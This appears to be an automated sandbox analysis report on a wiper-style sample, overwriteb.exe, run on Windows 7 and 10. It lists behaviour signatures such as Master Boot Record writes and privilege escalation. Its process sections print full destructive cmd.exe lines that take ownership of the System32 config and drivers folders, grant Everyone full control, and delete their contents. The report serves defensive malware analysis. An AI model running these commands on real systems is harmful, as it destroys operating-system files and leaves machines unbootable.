Malware Analysis Report

2024-11-16 12:49

Sample ID 240810-s3j93awbmr
Target overwriteb.exe
SHA256 00d22853c3a9e4287c81293cc4a2a524bbe21f6d802e19673cac57dad7b88f8f
Tags
bootkit discovery exploit persistence
score
8/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
8/10

SHA256

00d22853c3a9e4287c81293cc4a2a524bbe21f6d802e19673cac57dad7b88f8f

Threat Level: Likely malicious

The file overwriteb.exe was found to be: Likely malicious.

Malicious Activity Summary

bootkit discovery exploit persistence

Possible privilege escalation attempt

Checks computer location settings

Modifies file permissions

Writes to the Master Boot Record (MBR)

Unsigned PE

Enumerates physical storage devices

Suspicious use of AdjustPrivilegeToken

Suspicious use of WriteProcessMemory

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-08-10 15:38

Signatures

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-08-10 15:38

Reported

2024-08-10 15:41

Platform

win7-20240705-en

Max time kernel

120s

Max time network

120s

Command Line

"C:\Users\Admin\AppData\Local\Temp\overwriteb.exe"

Signatures

Possible privilege escalation attempt

exploit
Description Indicator Process Target
N/A N/A C:\Windows\system32\takeown.exe N/A
N/A N/A C:\Windows\system32\takeown.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A

Modifies file permissions

discovery
Description Indicator Process Target
N/A N/A C:\Windows\system32\takeown.exe N/A
N/A N/A C:\Windows\system32\takeown.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A

Writes to the Master Boot Record (MBR)

bootkit persistence
Description Indicator Process Target
File created \??\PhysicalDrive0 C:\Users\Admin\AppData\Local\Temp\overwriteb.exe N/A

Enumerates physical storage devices

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeTakeOwnershipPrivilege N/A C:\Windows\system32\takeown.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2408 wrote to memory of 1440 N/A C:\Users\Admin\AppData\Local\Temp\overwriteb.exe C:\Windows\System32\cmd.exe
PID 2408 wrote to memory of 1440 N/A C:\Users\Admin\AppData\Local\Temp\overwriteb.exe C:\Windows\System32\cmd.exe
PID 2408 wrote to memory of 1440 N/A C:\Users\Admin\AppData\Local\Temp\overwriteb.exe C:\Windows\System32\cmd.exe
PID 2408 wrote to memory of 1500 N/A C:\Users\Admin\AppData\Local\Temp\overwriteb.exe C:\Windows\System32\cmd.exe
PID 2408 wrote to memory of 1500 N/A C:\Users\Admin\AppData\Local\Temp\overwriteb.exe C:\Windows\System32\cmd.exe
PID 2408 wrote to memory of 1500 N/A C:\Users\Admin\AppData\Local\Temp\overwriteb.exe C:\Windows\System32\cmd.exe
PID 1500 wrote to memory of 1956 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\takeown.exe
PID 1500 wrote to memory of 1956 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\takeown.exe
PID 1500 wrote to memory of 1956 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\takeown.exe
PID 1440 wrote to memory of 2808 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\takeown.exe
PID 1440 wrote to memory of 2808 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\takeown.exe
PID 1440 wrote to memory of 2808 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\takeown.exe
PID 1440 wrote to memory of 2932 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\icacls.exe
PID 1440 wrote to memory of 2932 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\icacls.exe
PID 1440 wrote to memory of 2932 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\icacls.exe
PID 1500 wrote to memory of 2080 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\icacls.exe
PID 1500 wrote to memory of 2080 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\icacls.exe
PID 1500 wrote to memory of 2080 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\icacls.exe

Processes

C:\Users\Admin\AppData\Local\Temp\overwriteb.exe

"C:\Users\Admin\AppData\Local\Temp\overwriteb.exe"

C:\Windows\System32\cmd.exe

"C:\Windows\System32\cmd.exe" /k takeown /f %SystemRoot%\System32\config\* > NUL && icacls %SystemRoot%\System32\config\* /grant Everyone:(F) > NUL && del /s /q %SystemRoot%\System32\config\* > NUL 2>&1 && exit

C:\Windows\System32\cmd.exe

"C:\Windows\System32\cmd.exe" /k takeown /f %SystemRoot%\System32\drivers\* > NUL && icacls %SystemRoot%\System32\drivers\* /grant Everyone:(F) > NUL && del /s /q %SystemRoot%\System32\drivers\* > NUL 2>&1 && exit

C:\Windows\system32\takeown.exe

takeown /f C:\Windows\System32\drivers\*

C:\Windows\system32\takeown.exe

takeown /f C:\Windows\System32\config\*

C:\Windows\system32\icacls.exe

icacls C:\Windows\System32\config\* /grant Everyone:(F)

C:\Windows\system32\icacls.exe

icacls C:\Windows\System32\drivers\* /grant Everyone:(F)

C:\Windows\system32\wbem\WMIADAP.EXE

wmiadap.exe /F /T

Network

N/A

Files

memory/2408-0-0x000000013F8A0000-0x000000013FA4F000-memory.dmp

memory/2408-1-0x000000013F8A0000-0x000000013FA4F000-memory.dmp

memory/2408-2-0x000000013F8A0000-0x000000013FA4F000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-08-10 15:38

Reported

2024-08-10 15:41

Platform

win10v2004-20240802-en

Max time kernel

134s

Max time network

139s

Command Line

"C:\Users\Admin\AppData\Local\Temp\overwriteb.exe"

Signatures

Possible privilege escalation attempt

exploit
Description Indicator Process Target
N/A N/A C:\Windows\system32\takeown.exe N/A
N/A N/A C:\Windows\system32\takeown.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\overwriteb.exe N/A

Modifies file permissions

discovery
Description Indicator Process Target
N/A N/A C:\Windows\system32\takeown.exe N/A
N/A N/A C:\Windows\system32\takeown.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A

Writes to the Master Boot Record (MBR)

bootkit persistence
Description Indicator Process Target
File created \??\PhysicalDrive0 C:\Users\Admin\AppData\Local\Temp\overwriteb.exe N/A

Enumerates physical storage devices

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeTakeOwnershipPrivilege N/A C:\Windows\system32\takeown.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\overwriteb.exe

"C:\Users\Admin\AppData\Local\Temp\overwriteb.exe"

C:\Windows\System32\cmd.exe

"C:\Windows\System32\cmd.exe" /k takeown /f %SystemRoot%\System32\config\* > NUL && icacls %SystemRoot%\System32\config\* /grant Everyone:(F) > NUL && del /s /q %SystemRoot%\System32\config\* > NUL 2>&1 && exit

C:\Windows\System32\cmd.exe

"C:\Windows\System32\cmd.exe" /k takeown /f %SystemRoot%\System32\drivers\* > NUL && icacls %SystemRoot%\System32\drivers\* /grant Everyone:(F) > NUL && del /s /q %SystemRoot%\System32\drivers\* > NUL 2>&1 && exit

C:\Windows\system32\takeown.exe

takeown /f C:\Windows\System32\config\*

C:\Windows\system32\takeown.exe

takeown /f C:\Windows\System32\drivers\*

C:\Windows\system32\icacls.exe

icacls C:\Windows\System32\config\* /grant Everyone:(F)

C:\Windows\system32\icacls.exe

icacls C:\Windows\System32\drivers\* /grant Everyone:(F)

Network

Country Destination Domain Proto
US 8.8.8.8:53 97.17.167.52.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
US 8.8.8.8:53 17.160.190.20.in-addr.arpa udp
US 8.8.8.8:53 26.35.223.20.in-addr.arpa udp
US 8.8.8.8:53 209.205.72.20.in-addr.arpa udp
US 8.8.8.8:53 149.220.183.52.in-addr.arpa udp
US 8.8.8.8:53 86.23.85.13.in-addr.arpa udp
US 8.8.8.8:53 56.126.166.20.in-addr.arpa udp
US 8.8.8.8:53 192.142.123.92.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 8.8.8.8:53 55.36.223.20.in-addr.arpa udp
US 8.8.8.8:53 81.144.22.2.in-addr.arpa udp
US 8.8.8.8:53 168.117.168.52.in-addr.arpa udp

Files

memory/4428-0-0x00007FF727990000-0x00007FF727B3F000-memory.dmp

memory/4428-1-0x00007FF727990000-0x00007FF727B3F000-memory.dmp

memory/4428-2-0x00007FF727990000-0x00007FF727B3F000-memory.dmp